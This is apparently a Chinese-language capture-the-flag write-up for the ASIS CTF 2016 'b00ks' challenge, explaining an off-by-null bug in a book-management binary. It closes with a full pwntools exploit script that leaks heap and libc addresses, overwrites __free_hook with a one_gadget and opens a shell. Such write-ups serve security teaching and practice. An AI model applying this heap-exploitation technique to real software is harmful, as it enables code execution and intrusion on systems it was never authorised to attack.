0%

ASIS CTF 2016 b00ks

Environment

1
2
Ubuntu 16.04
glibc 2.23

Analysis

功能

一個書籍管理系統,具有新增、刪除、更改作者名等功能

保護機制

Reverse Engineering

book struct

此系統用以下的struct保存書籍資訊,並使用一個陣列books儲存每個book中的book_name pointer

1
2
3
4
5
struct book{
char *book_name;
char *book_description;
int description_size;
};

input function

題目使用一個自己實作的輸入函數,會在輸入字串的結尾補上一個null byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall input(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

author name

此系統使用一個長度為0x20的陣列author儲存當前的作者名稱,可以發現author[]後面就是books[]

1
2
3
4
5
6
7
8
signed __int64 set_author_name()
{
printf("Enter author name: ");
if ( !(unsigned int)input(author, 32) ) // off by null
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}

Exploit

觀察

  1. 輸入作者時存在off by null,可以先輸入一個長度為0x20的作者名稱,再新增書籍。這樣null byte就會被books[0]最低位覆蓋。透過顯示書籍的功能即可洩漏heap address
  2. 再次輸入長度為0x20的作者名稱,即可覆蓋books[0],使第1個book落在低一點的記憶體位置上

利用思路

  1. 我們可以新增一個大一點的book1,這樣就有機會使book1在被null byte覆蓋後落在原本book1的description,同時新增一個description size屬於unsorted bin範圍的book2並刪除它,方便後續的利用。我們可以使用edit功能在那裡偽造一個fake book來達到任意位址讀寫
  2. 將fake book的description指向book2的description chunk的fd,再透過顯示書籍的功能即可洩漏libc位置

exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

def send_author_name(author):
p.recvuntil(b'Enter author name: ')
p.sendline(author)

def create(name_size, name, description_size, description):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Enter book name size: ')
p.sendline(str(name_size))
p.recvuntil(b'Enter book name (Max 32 chars): ')
p.sendline(name)
p.recvuntil(b'Enter book description size: ')
p.sendline(str(description_size))
p.recvuntil(b'Enter book description: ')
p.sendline(description)

def delete(idx):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Enter the book id you want to delete: ')
p.sendline(str(idx))

def edit(idx, description):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Enter the book id you want to edit: ')
p.sendline(str(idx))
p.recvuntil(b'Enter new book description: ')
p.sendline(description)

def show():
p.recvuntil(b'> ')
p.sendline(b'4')

def change_author_name(author):
p.recvuntil(b'> ')
p.sendline(b'5')
send_author_name(author)

def exit():
p.recvuntil(b'> ')
p.sendline(b'6')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

# use off by null to leak heap address
send_author_name(b'a' * 0x20)
create(0x10, b'b', 0x100, b'b') # bool 1
create(0x10, b'a', 0x500, b'a') # book 2
delete(2)
show()
p.recvuntil(b'Author: ')
heap_addr = u64(p.recvline()[0x20:-1] + b'\x00' * 0x2)

# create a fake book in book1 (the offset is found by debugging)
# let the description pointer of fake book points to book 2 fd, leak libc address
# set the size of description bigger (I set it to 0x10000), for further exploitation
edit(1, b'\x00' * (0x100 - 0x40) + p64(0x1) + b'\x00' * 0x8 + p64(heap_addr + 0x50) + p64(0x10000))
change_author_name(b'a' * 0x20)
print(hex(heap_addr))
show()
p.recvuntil(b'Description: ')
main_arena = u64(p.recvline()[:-1] + b'\x00' * 0x2)
libc_base = main_arena - 0x3c4b78
print(hex(libc_base))

create(0x10, b'a' * 0x8, 0x500, b'a')
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4527a

# the description pointer of fake book points to the description of book3
# since we set the size of description of fake chunk to 0x10000, we can control the description pointer of book3
# we can arbitrary write now!
payload1 = b'\x00' * (0x500 + 0x8) + p64(0x21) + p64(0x3) + p64(heap_addr + 0x30) + p64(free_hook)
edit(1, payload1)
edit(3, p64(one_gadget))

# trigger one gadget
delete(1)

p.interactive()